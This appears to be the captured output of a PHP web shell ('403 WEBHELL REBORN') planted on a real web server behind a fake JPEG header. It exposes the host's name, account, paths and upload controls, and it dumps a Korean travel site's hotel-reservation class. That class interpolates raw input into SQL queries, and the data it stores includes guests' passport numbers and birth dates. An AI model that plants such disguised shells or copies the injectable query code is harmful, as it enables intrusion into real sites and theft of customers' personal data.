ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/LibClass/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/LibClass/HotelReserv.class.php
<?php 
/******************************************************************************
 *
 * 호텔 입실일,예약,숙박자 클래스
 *
 ******************************************************************************/
class HotelReserv{

	// Class 멤버변수
	public  $cf;
	public  $TO_CF;
	public  $TO_MB;

	// 생성자
	public function __construct() {
		global $cf , $TO_CF;
		global $TO_MB;

		$this->cf = $cf;
		$this->TO_CF = $TO_CF;
		$this->TO_MB = $TO_MB;
	}
	
	// 
	// 호텔예약 마스터
	//
	// @params sql_where : 예약번호
	public function res_hotel_master($sql_where="",$sql_order="",$limit="") {
		$data = array();
		$table = "TB_RES_HOTEL";
	
		$sql = "select *,'L' tab , left(ins_dt ,10) ins_dt2, room_adult_num + room_child_num as inwon, sales_total_fr as price_total_fr
		from {$table} where 1 {$sql_where} ";
	
		if ($sql_order) $sql .= " order by {$sql_order}";
		else $sql .= " order by ins_dt desc ";
	
		if ( $limit ) $sql .= " limit {$limit} ";

		$rs = db_query($sql);
	
		while ($row = db_fetch_array($rs)) {
	
			// 진행전달
			$data_code = base_codec("PRD","RES",$row['order_state']);

			if($cf['MODE']=='admin') {
				$row['order_state_str'] =  $data_code[0]['cd_nm'];
				$row['order_state_str2'] =  $data_code[0]['cd_nm'];
			} else {
				$row['order_state_str'] =  _e($data_code[0]['cd_nm']);
				$row['order_state_str2'] =  _e($data_code[0]['cd_nm']);
			}

			$row['order_state_color'] = $data_code[0]['cd_memo'];
	
			if($row['order_state']=="A" || $row['order_state']=="B" || $row['order_state']=="C") {
				if($cf['MODE']=='admin') {	
					$row['order_state_str2'] ="미결제";
				} else {
					$row['order_state_str2'] =_e("미결제");
				}
				$row['order_state_color2'] = "#E02525";
			}

			// 예약진행상태
			$data_code = base_codec("PRD","HRES",$row['res_stat_cd']);
			$row['res_stat_str'] = _e($data_code[0]['cd_nm']);
			$row['res_stat_str2'] = _e($data_code[0]['cd_nm']);

			$row['res_stat_color'] = $data_code[0]['cd_memo'];
	
			// 판매액 매치
			$row['price_sell_total'] = $row['sales_total'];
			// 외화 판매액 매치
			$row['price_sell_total_fr'] = $row['sales_total_fr'];
	
			// 고객 정산용 테이블(TB_ACCOUNT_CUSTOMER)과 내용 맞추기
			if($row['sales_total'] > 0) {
				$row['price_total'] = $row['sales_total'];
			} else {
				$row['price_total'] = $row['agent_total'];
			}

			$data[] = $row;
		}
	
		return $data;
	}
	
	// 호텔예약마스터 데이터가공
	//
	// @params data : array()
	public function res_hotel_master_replace($data="")
	{
		if (!is_array($data)) return;

	
		// 대리점 가격
		$arr_agent = array();
		$agent_arr = explode("||",$data['agent_ga']);
		for ($a=0 ; $a<count($agent_arr) ; $a++) {
			$arr_t = explode("^",$agent_arr[$a]);
			$id = $arr_t[0]; // 대리점 id
			$price = $arr_t[1]; // 대리점 가격
	
			if ($id) {
				$r = get_member($id); // 대리점 상세 정보
				if ( $r['mb_id'] ) {
					$arr_agent[] = array(
							"agent_id"		=> $r['mb_id'],
							"agent_nm"		=> $r['bz_corp_nm'],
							"agent_price"	=> $price
					);
				}
			}
		}
		$data['agent_all'] = $arr_agent;
	
		// 옵션가격
		$sql = "select *,
							(op_price_buy*op_num) as op_buy_price_tot, 
							(op_price_agent*op_num) as op_agent_price_tot, 
							(op_price_sell*op_num) as op_sell_price_tot, 
							(op_price_sell_fr*op_num) as op_sell_price_tot_fr
		from TB_RES_HOTEL_OPTION where res_no='{$data[res_no]}' ";
		$rs = db_query($sql);
		$data['option_all'] = db_fetch_all($rs);
	
		// 입금상태 (미납/완납/과납)
		$class_AccountCustomer = new AccountCustomer();
		$data_account_customer = $class_AccountCustomer->res_account_info($data['res_no']);
		$row_account_customer = $data_account_customer['tot'];
	
		$data['res_mrecv_str'] = "대기";
		if ($row_account_customer['pre_money'] > 0 and $data['res_stat_cd']=="C") {
			$data['res_mrecv_str'] = "<span class='icon_unpaid'>고객미납</span>";

			if($cf['MODE']!='admin'){
				$data['order_state_str2'] =  "";
			}

			//2019-10-18 각 외화의 pre_money, pay_money
			//$row_account_customer['pre_money_fr'] = $class_v -> exchangeMoney_Reverse(array("ext_eng"=>$cf['curunit'],"money"=>$row_account_customer['pre_money']));
			$row_account_customer['pre_money_fr'] = $data['sales_total_fr'];	
			$row_account_customer['pay_money_fr'] = "0";	

		}
		if ($row_account_customer['pre_money'] < 0) 	$data['res_mrecv_str'] = "<span style='color:#3333FF;'>과납</span>";
		if ($data['res_stat_cd']=="C" and  $row_account_customer['pre_money']==0)	{
			$data['res_mrecv_str'] = "<span class='icon_paid'>결제완료</span>";

			if($cf['MODE']!='admin' && $data_account_customer['tot']['pay_card'] > 0){
				$data['order_state_str2'] =  _e("카드결제완료");
			} else {
				$data['order_state_str2'] =  _e("무통장입금완료");
			}

			//2019-10-18 각 외화의 pre_money, pay_money
			//$data['pay_money_fr'] = $class_v -> exchangeMoney_Reverse(array("ext_eng"=>$cf['curunit'],"money"=>$row_account_customer['pay_money']));
			$row_account_customer['pre_money_fr'] = "0";	
			$row_account_customer['pay_money_fr'] = $data['sales_total_fr'];	

		}
			
		$data['account'] = $row_account_customer;

	
		// 입실일 ID정보 전체 array
		$hdidx_arr = explode(",",$data['hdidx']);
		for ($i=0 ; $i<count($hdidx_arr) ; $i++) {
			$hdidx=$hdidx_arr[$i];
			if($hdidx) {
				$data['hdidx_all'][] = $hdidx;
			}
		}
		
		// 룸일자(R),초과인원(U),추가항목(A) 정보 
		$sql = "select *,case gu when 'U' then '초과인원' when 'R' then '호텔' when 'A' then '추가항목' else '' end AS gu_str,
							(buy_price*i_count) as buy_price_tot, 
							(agent_price*i_count) as agent_price_tot, 
							(sell_price*i_count) as sell_price_tot, 
							(sell_price_fr*i_count) as sell_price_tot_fr
		from TB_RES_HOTEL_ITEM where res_no='{$data['res_no']}' ";
		$rs = db_query($sql);
		$data['hotel_res_item'] = db_fetch_all($rs);
		
		// 숙박자 정보
		$sql = "select *,
							split(name_eng,'|',0) as name_eng1,
							split(name_eng,'|',1) as name_eng2,
							if(generation='A','성인','소인') as  generation_str
		from TB_RES_HOTEL_PERSON where res_no='{$data[res_no]}' order by generation,seq";
		$rs = db_query($sql);
		$data['hotel_res_person'] = db_fetch_all($rs);
		
		/*
		 * 관리자 예약상세>selectbox 성인숙박인원/소인 숙박인원 세팅할 값
		 */  
		// 성인숙박인원
		$data['r_adult_maxnum'] = intval($data['person_maxnum']) * intval($data['room_cnt']);
		
		// 소인 숙박인원
		$data['r_room_child_num'] = intval($data['child_maxnum']) * intval($data['room_cnt']);
		
		// 최대 성인기준인원
		$data['r_adult_num'] = intval($data['person_num']) * intval($data['room_cnt']);
		
		// 결제 유무
		$data['pay_yn'] = "N";
		
		// 확정예약 && 미결제금액이 '0' 이상
		if ( $data['res_stat_cd']=="C" and $row_account_customer['pre_money'] > 0 ) 	$data['pay_yn'] = "Y"; // 결제가능
	
		// 바우처 유무
		$data['voucher_yn'] = "N";
		
		// 확정예약 && 미결제금액이 '0'
		if ( $data['res_stat_cd']=="C" and $row_account_customer['pre_money']==0 ) 		$data['voucher_yn'] = "Y";

		// 호텔 정보
		$sql = "select * from TB_HOTEL where hseq='{$data[hseq]}'";
		$data_hotel = db_fetch($sql);

		//이미지
		$upload				= "/FileData/hotel/";
		$upload_thum	= "/FileData/hotel_thum/";
		$data['img1_path'] = $upload.$data_hotel['img1'];
		$data['img1_thum'] = $upload_thum.$data_hotel['img1'];

		// 호텔 주소
		$data['address'] = $data_hotel['address'];

		// return
		return $data;
	}
	
	// 숙박자 목록
	//
	// params res_no :
	// params idx : 룸예약테이블(TB_RES_HOTEL_ROOM) id
	// params seq : TB_RES_HOTEL_PERSON id
	public function res_hotel_person($res_no,$idx="",$seq="")
	{
	
		$data = array();
		$table = "TB_RES_HOTEL_PERSON";
	
		if (!$res_no) $data;
	
		$sql = "select *,";
		$sql .= " (case ptype when 'ad' then '성인' when 'ch' then '소인' when 'ki' then '유아' when 'ba' then '영아' end) as ptype2, ";
		$sql .= " (case gend when 'M' then '남' when 'F' then '여' end ) as gend2 ";
		$sql .= "from {$table} where res_no='{$res_no}' ";
	
		if ($idx) $sql .= " and idx='{$idx}' ";
		if ($seq) $sql .= " and seq='{$seq}' ";
	
		$sql .= " order by idx,room_num, seq ";
	
		$rs = db_query($sql);
	
		while ($row = db_fetch_array($rs)) {
			$data[] = $row;
		}
		
		// return
		return $data;
	}
	
	//
	// 숙박예약정보의 시작년도,마지막년도
	//
	public function hotelResDateMinMax($rdata=array()) {
	
		if(!$rdata['mode']) $rdata['mode'] = "res";
	
		$data = array();
	
		if($rdata['mode']=="res") {
			$sql = "
			SELECT DATE_FORMAT(MIN(d1),'%Y') minyy,DATE_FORMAT(MAX(d2),'%Y') maxyy  FROM (
				( SELECT MIN(DATE_FORMAT(ins_dt,'%Y-%m-%d')) d1,MAX(DATE_FORMAT(ins_dt,'%Y-%m-%d')) d2 FROM TB_RES_HOTEL  WHERE DATE_FORMAT(ins_dt,'%Y-%m-%d') > DATE_FORMAT('1971-01-01','%Y-%m-%d') )
				UNION ALL
				( SELECT MIN(DATE_FORMAT(room_date,'%Y-%m-%d')) d1,MAX(DATE_FORMAT(room_date,'%Y-%m-%d')) d2 FROM TB_RES_HOTEL  WHERE DATE_FORMAT(room_date,'%Y-%m-%d') > DATE_FORMAT('1971-01-01','%Y-%m-%d') )
				UNION ALL
				( SELECT MIN(DATE_FORMAT(room_date_out,'%Y-%m-%d')) d1,MAX(DATE_FORMAT(room_date_out,'%Y-%m-%d')) d2 FROM TB_RES_HOTEL  WHERE DATE_FORMAT(room_date_out,'%Y-%m-%d') > DATE_FORMAT('1971-01-01','%Y-%m-%d') )
			) a	";
	
			$data= db_fetch($sql);
		}
		if(!$data['minyy']) $data['minyy']=date("Y");
		if(!$data['maxyy']) $data['maxyy']=date("Y");
	
		return $data;
	}
	


	//
	// 호텔예약 및 입실정보 저장
	//
	// @params rdata : array()
	//
	// return true
	public function hotelRoomDateIns($rdata="")
	{
		global $cf;

		Log::save(sprintf("%s(%d)hotelRoomDateIns RDATA : %s ", __FILE__, __LINE__, json_encode($rdata)), '', '/'.date('Ym'));

		$table = "TB_RES_HOTEL";
	
		if(!is_array($rdata)) return false;
	
		if(!$rdata['res_no']) $rdata['res_no'] = auto_create_code("L");
		if(!$rdata['rsv_no']) $rdata['rsv_no'] = auto_create_voucher("L");

		$price_tot=0; // 룸가격
		$over_tot=0; // 초과금
		$person_max_price=0;// 기준인원 초과금
		//2019-10-18 통화변환값
		$price_tot_fr=0; // 룸가격
		$over_tot_fr=0; // 초과금
		$person_max_price_fr=0;// 기준인원 초과금

		
		// 룸일자(R),초과인원(U),추가항목(A) 저장
		foreach($rdata['gu_arr'] as $i => $gu) { 
			
			// old 작업과 연동 하기위해 가격 빼냄
			if($gu=="R") {
				$price_tot+=intval(str_replace(",","",$rdata['sell_price_tot_arr'][$i]));
				$price_tot_fr+=intval(str_replace(",","",$rdata['sell_price_tot_arr_fr'][$i]));

			}
			if($gu=="U") {
				$over_tot+=intval(str_replace(",","",$rdata['sell_price_tot_arr'][$i]));
				$over_tot_fr+=intval(str_replace(",","",$rdata['sell_price_tot_arr_fr'][$i]));
				
				// 시간상 한개만 빼옴
				$person_max_price=intval(str_replace(",","",$rdata['sell_price_arr'][$i]));
				$person_max_price_fr=intval(str_replace(",","",$rdata['sell_price_arr_fr'][$i]));

				$room_over_num=intval($rdata['i_count_arr'][$i]);
			}
			$item_nm = $rdata['itemnm_arr'][$i];
			$room_date = $rdata['room_date_arr'][$i];			
			$buy_price=intval(str_replace(",","",$rdata['buy_price_arr'][$i]));
			$agent_price=intval(str_replace(",","",$rdata['agent_price_arr'][$i]));
			$sell_price=intval(str_replace(",","",$rdata['sell_price_arr'][$i]));
			$sell_price_fr=intval(str_replace(",","",$rdata['sell_price_arr_fr'][$i]));

			$count=intval($rdata['i_count_arr'][$i]);
			$comt=$rdata['comt_arr'][$i];
			
			$sql = "insert into TB_RES_HOTEL_ITEM set ";
			$sql .= " gu='{$gu}' ";
			$sql .= " ,res_no='{$rdata[res_no]}' ";
			$sql .= " ,hseq='{$rdata[hseq]}' ";
			$sql .= " ,hnm='{$rdata[hnm]}' ";
			$sql .= " ,ridx='{$rdata[ridx]}' ";
			$sql .= " ,rnm='{$rdata[rnm]}' ";
			$sql .= " ,item_nm='{$item_nm}' ";
			$sql .= " ,room_date='{$room_date}' "; /// 룸일자(이용일자)
			$sql .= " ,buy_price='{$buy_price}' ";
			$sql .= " ,agent_price='{$agent_price}' ";
			$sql .= " ,sell_price='{$sell_price}' ";
			$sql .= " ,sell_price_fr='{$sell_price_fr}' ";
			$sql .= " ,i_count='{$count}' ";
			$sql .= " ,lang='{$rdata[lang]}' ";
			$sql .= " ,curunit='{$rdata[curunit]}' ";
			$sql .= " ,comt='{$comt}' ";
			$sql .= " ,ins_dt=now() ";
				
			db_query($sql);
		}
		
		$option_tot=0; // 옵션가격
		$option_tot_fr=0; // 옵션가격 외화

		if(is_array($rdata['op_sell_price_tot_arr'])){foreach($rdata['op_sell_price_tot_arr'] as $price){
			$option_tot+=intval(str_replace(",","",$price));
		}}
		if(is_array($rdata['op_sell_price_tot_arr_fr'])){foreach($rdata['op_sell_price_tot_arr_fr'] as $price_fr){
			$option_tot_fr+=intval(str_replace(",","",$price_fr));
		}}

		// 예약경로:A관리자,A1상담관리,B사용자,C사용자모바일
		if (!$rdata['ins_route']) $rdata['ins_route'] = "A";
		
		// 호텔정보
		$data_hotel = hotel_list(" and hseq='{$rdata[hseq]}' ");
		$row_hotel = $data_hotel[0];
	
		// 입실일 정보
		$data_date = hotel_date($rdata['hseq']," and r_idx='{$rdata[ridx]}' and hdidx='{$rdata[hdidx]}' ");
		$row_date = hotel_date_replace($data_date[0]);

		// 대리점
		if ($rdata['agent_id']) $row_member = get_member($rdata['agent_id']);
	
		// 담당자
		if ($rdata['admin_id']) $row_admin = get_member($rdata['admin_id']);
	
		// 옵션상품 저장
		$option_arr = array();
		for ($i=0 ; $i<count($rdata['opid_arr']) ; $i++) {
			$opid=$rdata['opid_arr'][$i];
			$op_nm=$rdata['op_nm_arr'][$i];
			$op_buy_price=intval(str_replace(",","",$rdata['op_buy_price_arr'][$i]));
			$op_agent_price=intval(str_replace(",","",$rdata['op_agent_price_arr'][$i]));
			$op_sell_price=intval(str_replace(",","",$rdata['op_sell_price_arr'][$i]));
			$op_sell_price_fr=intval(str_replace(",","",$rdata['op_sell_price_arr_fr'][$i]));
			$op_num=$rdata['op_num_arr'][$i];
				
			$sql = "insert into {$table}_OPTION set ";
			$sql .= "res_no						= '{$rdata[res_no]}', ";
			$sql .= "opid						= '{$opid}', ";
			$sql .= "hseq						= '{$rdata[hseq]}', ";
			$sql .= "op_nm						= '{$op_nm}', ";
			$sql .= "op_num					= '{$op_num}', ";
			$sql .= "op_price_sell			= '{$op_sell_price}', ";
			$sql .= "op_price_sell_fr			= '{$op_sell_price_fr}', ";
			$sql .= "op_price_buy			= '{$op_buy_price}', ";
			$sql .= "op_price_agent			= '{$op_agent_price}', ";
			$sql .= "lang						= '{$rdata[lang]}', ";
			$sql .= "curunit						= '{$rdata[curunit]}', ";
			$sql .= "ins_dt						= now() ";
	
			db_query($sql);
			
			$option_arr[] = array (
					'opid'						=> $opid,
					'op_num'					=> $op_num,
					'op_nm'						=> $op_nm,
					'op_price_sell'		=> $op_sell_price,
					'op_price_sell_fr'		=> $op_sell_price_fr,
					'op_price_agent'	=> 0,
					'op_price_cost'		=> 0
			);			
		}
		
		// 호텔예약금액 검증(Validation)
		$arr = array('hseq'			    => $rdata['hseq'],
				'ridx'							=> $rdata['ridx'],
				'room_date'					=> $rdata['room_date'],
				'room_date_out'			=> $rdata['room_date_out'],
				'room_cnt'					=> $rdata['room_cnt'],
				'room_day'					=> $rdata['room_day'],
				'room_over_num'			=> $room_over_num,
				'person_max_price'		=> $person_max_price,
				'person_max_price_fr'		=> $person_max_price_fr,
				'agent_id'					=> $rdata['agent_id'],
				'option_arr'					=> $option_arr);
	
		// 관리자에서는 항목추가금액,할인액은 포함되지 않아서 리턴값 차이남
		// 사용자에서는 동일함으로 사용자예약금액 검증에만 사용
		$data_res = hotelDateRoomChkVal($arr);

		// if ($data_res['sales_total'] != $rdata['sales_total']) error_msg("alert('예약정보가 정확하지 않습니다.다시한번 확인해 주세요.');","script");
	
		// 입실일 정보
		$data_room=array();
		if($rdata[hseq] and $rdata[ridx]) {
			$room_date_out2 = date("Y-m-d",strtotime($rdata['room_date_out']." -1 day"));
			$sql_where = " and r_idx='{$rdata[ridx]}' and room_date between '{$rdata[room_date]}' and '{$room_date_out2}' ";
			$data_room = hotel_date($rdata[hseq],$sql_where);
		}
	
		// 입실일ID(hdidx) 저장
		$hdidx_ga = "";
		foreach ($data_room as $v) {
			$hdidx_ga .= $v['hdidx'].",";
		}
	
		// 적립금정보
		$row_room = $data_room[0];

		// 숙박자 저장
		if(is_array($rdata['generation_arr'])){
			foreach($rdata['generation_arr'] as $i => $generation){
				$gend=$rdata['gend_arr'][$i];
				$name_kor=$rdata['name_kor_arr'][$i];
				$name_eng1=$rdata['name_eng1_arr'][$i];
				$name_eng2=$rdata['name_eng2_arr'][$i];
				$name_eng=$name_eng1."|".$name_eng2;
				$tel=$rdata['tel_arr'][$i];
				$birth_dt=$rdata['birth_dt_arr'][$i];
				$passenger_num=$rdata['passenger_num_arr'][$i];
				$passenger_expire=$rdata['passenger_expire_arr'][$i];
				$remarks=$rdata['remarks_arr'][$i];
				
				$sql = "insert into TB_RES_HOTEL_PERSON set ";
				$sql .= " res_no='{$rdata[res_no]}' ";		
				$sql .= ",hseq='{$rdata[hseq]}'";
				$sql .= ",hnm='{$row_hotel[hotel_nm]}'";
				$sql .= ",ridx='{$rdata[ridx]}'";
				$sql .= ",rnm='{$row_date[room_type]}'";
				$sql .= ",room_date='{$rdata[room_date]}'";
				$sql .= ",room_date_out='{$rdata[room_date_out]}'";
				$sql .= ",generation='{$generation}'";
				$sql .= ",gend='{$gend}'";
				$sql .= ",name_kor='{$name_kor}'";
				$sql .= ",name_eng='{$name_eng}'";
				$sql .= ",tel='{$tel}'";
				$sql .= ",birth='{$birth_dt}'";
				$sql .= ",passenger_num='{$passenger_num}'";
				$sql .= ",passenger_expire='{$passenger_expire}'";
				$sql .= ",remarks='{$remarks}'";
				$sql .= ",ins_dt=now()";
				
				db_query($sql);
			}
		}
		
		// 파라메터 
		$sales_total=intval(str_replace(",","",$rdata[sales_total]));
		$buy_discount=intval(str_replace(",","",$rdata[discount_buy]));
		$agent_discount=intval(str_replace(",","",$rdata[discount_agent]));
		$sell_discount=intval(str_replace(",","",$rdata[discount_sell]));
		$buy_total=intval(str_replace(",","",$rdata[buy_total]));
		$agent_total=intval(str_replace(",","",$rdata[agent_total]));
		$person_num=intval($rdata[person_num]);
		$person_maxnum=intval($rdata[person_maxnum]);
		$child_maxnum =intval($rdata[child_maxnum]);

		// 통화변환값
		$sales_total_fr=intval($rdata[sales_total_fr]);
		$sell_discount_fr=intval($rdata[discount_sell_fr]);


		//예약확정
		$res_stat_cd = ($rdata[res_stat_cd]) ? $rdata[res_stat_cd]:"C"; // 확정예약 
		$order_state = ($rdata[order_state]) ? $rdata[order_state]:"E"; // 예약확정 

		// 등록일
		if (!$rdata['ins_dt']) $rdata['ins_dt'] = date('Y-m-d H:i:s');

		// 예약마스터 저장
		$sql = "insert into {$table} set ";
		$sql .= " res_no					= '{$rdata[res_no]}',";
		$sql .= " rsv_no					= '{$rdata[rsv_no]}',";
		$sql .= " cseq						= '{$rdata[cseq]}',";
		$sql .= " hseq						= '{$rdata[hseq]}',";
		$sql .= " hnm						= '{$rdata[hnm]}',";
		$sql .= " ridx						= '{$rdata[ridx]}',";
		$sql .= " rnm						= '{$rdata[rnm]}',";
		$sql .= " hdidx						= '{$rdata[hdidx]}',";
		$sql .= " room_date					= '{$rdata[room_date]}',";
		$sql .= " room_date_out				= '{$rdata[room_date_out]}',";
		$sql .= " room_cnt					= '{$rdata[room_cnt]}',";
		$sql .= " room_day					= '{$rdata[room_day]}',";
		$sql .= " room_adult_num			= '{$rdata[room_adult_num]}',";
		$sql .= " room_child_num			= '{$rdata[room_child_num]}',";
		$sql .= " room_over_num				= '{$room_over_num}',";
		$sql .= " room_bedtype				= '{$rdata[room_bedtype]}',";
		$sql .= " price_tot					= '{$price_tot}',"; // 룸가격=판매가*박수*룸수
		$sql .= " option_tot				= '{$option_tot}',";
		$sql .= " over_tot					= '{$over_tot}',";
		$sql .= " price_tot_fr				= '{$price_tot_fr}',"; // 룸가격=판매가*박수*룸수
		$sql .= " option_tot_fr				= '{$option_tot_fr}',";
		$sql .= " over_tot_fr				= '{$over_tot_fr}',";
		$sql .= " sales_total_fr			= '{$sales_total_fr}',"; // 판매금액 총계

		$sql .= " buy_discount				= '{$buy_discount}',"; // 매입할인(신규)
		$sql .= " agent_discount			= '{$agent_discount}',"; // 거래처할인(신규)
		$sql .= " sell_discount				= '{$sell_discount}',"; // 매출할인(신규)
		$sql .= " sell_discount_fr			= '{$sell_discount_fr}',"; // 매출할인(신규) 외화
		$sql .= " discount_cmt				= '{$rdata[discount_cmt]}',"; // 매입판매할인비고(신규)
		$sql .= " buy_total					= '{$buy_total}',"; // 매입금액 총계
		$sql .= " agent_total					= '{$agent_total}',"; // 거래처가 총계
		$sql .= " sales_total				= '{$sales_total}',"; // 판매금액 총계
		//$sql .= " sales_total_cost		= '{$rdata[sales_total_cost]}',"; // 판매원가(2016-03-22)
		//통화변환값
		
		$sql .= " person_num				= '{$person_num}',"; // 성인기준인원(신규)
		$sql .= " person_maxnum				= '{$person_maxnum}',"; // 성인 최대인원(신규)
		$sql .= " child_maxnum				= '{$child_maxnum}',"; // 소인 최대인원(신규)
				
		$sql .= " agent_ga					= '{$row_date[d_agent_ga]}',";
		$sql .= " agent_id					= '{$rdata[agent_id]}',";
		$sql .= " agent_corp_nm				= '{$rdata[bz_corp_nm]}',";
		$sql .= " res_cust_id				= '{$rdata[mb_id]}',";
		$sql .= " res_cust_nm				= '{$rdata[res_cust_nm]}',";
		$sql .= " res_cust_email			= '{$rdata[res_cust_email]}',";
		$sql .= " res_cust_addr				= '{$rdata[res_cust_addr]}',";
		$sql .= " res_cust_tel				= '{$rdata[res_cust_tel]}',";
		$sql .= " res_cust_hp				= '{$rdata[res_cust_hp]}',";
		$sql .= " res_cust_memo				= '{$rdata[res_cust_memo]}',";
		$sql .= " res_cust_nat_cd			= '{$rdata[res_cust_nat_cd]}',";

		$sql .= " cont		= '{$rdata[cont]}',";
		//$sql .= " admin_memo='{$rdata[admin_memo]}',";
		//$sql .= " send_memo='{$rdata[send_memo]}',";
		$sql .= " hdidx_ga					= '{$hdidx_ga}',";
		$sql .= " admin_id					= '{$rdata[admin_id]}',";
		$sql .= " admin_nm					= '{$rdata[admin_nm]}',";
		//$sql .= " edit_dt					= now(),";
		//$sql .= " edit_id					= '{$this->TO_MB[mb_id]}',";
		//$sql .= " edit_nm					= '{$this->TO_MB[mb_nm]}',";
		$sql .= " cancel_dt					= '{$rdata['cancel_dt']}',";
		$sql .= " res_stat_cd				= '{$res_stat_cd}',";
		$sql .= " order_state				= '{$order_state}',";
		$sql .= " ins_dt					= '{$rdata['ins_dt']}',";
		$sql .= " ins_id					= '{$this->TO_MB[mb_id]}',";
		$sql .= " ins_nm					= '{$this->TO_MB[mb_nm]}',";
		$sql .= " ins_ip					= '{$this->cf['user_ip']}',";
		$sql .= " ins_route					= '{$rdata[ins_route]}',";
	
		$sql .= " point_yn					= '{$row_room[point_yn]}',";
		$sql .= " point_buy1				= '{$row_room[point_buy1]}',";
		$sql .= " point_buy2				= '{$row_room[point_buy2]}', ";

		//공급처
		$sql .= " producer_id				= '{$rdata[producer_id]}',";
		$sql .= " producer_corp_nm			= '{$rdata[producer_corp_nm]}',";

		//메모
		$sql .= " g_memo					= '{$rdata[g_memo]}',";

		//호텔예약번호
		$sql .= " hotel_voucher				= '{$rdata[hotel_voucher]}',";

		if($rdata['curunit'] != "KRW") :
		$sql .= "total_pay_usd='{$rdata['sales_total_usd']}', "; // 판매가 합계 외화
		endif;

		$sql .= " lang					= '{$rdata[lang]}', ";
		$sql .= " curunit				= '{$rdata[curunit]}' ";

		db_query($sql);
	
		Log::save(sprintf("%s(%d)hotelRoomDateIns SQL : %s ", __FILE__, __LINE__, $sql), '', '/'.date('Ym'));

		// 블록 업데이트
		foreach ($data_room as $v) {
			if($v['hdidx']) db_query("call SP_RES_HOTEL_BLOCK('{$v[hdidx]}','{$rdata[room_cnt]}');");
		}
	
		return true;
	}
	
}

Anon7 - 2021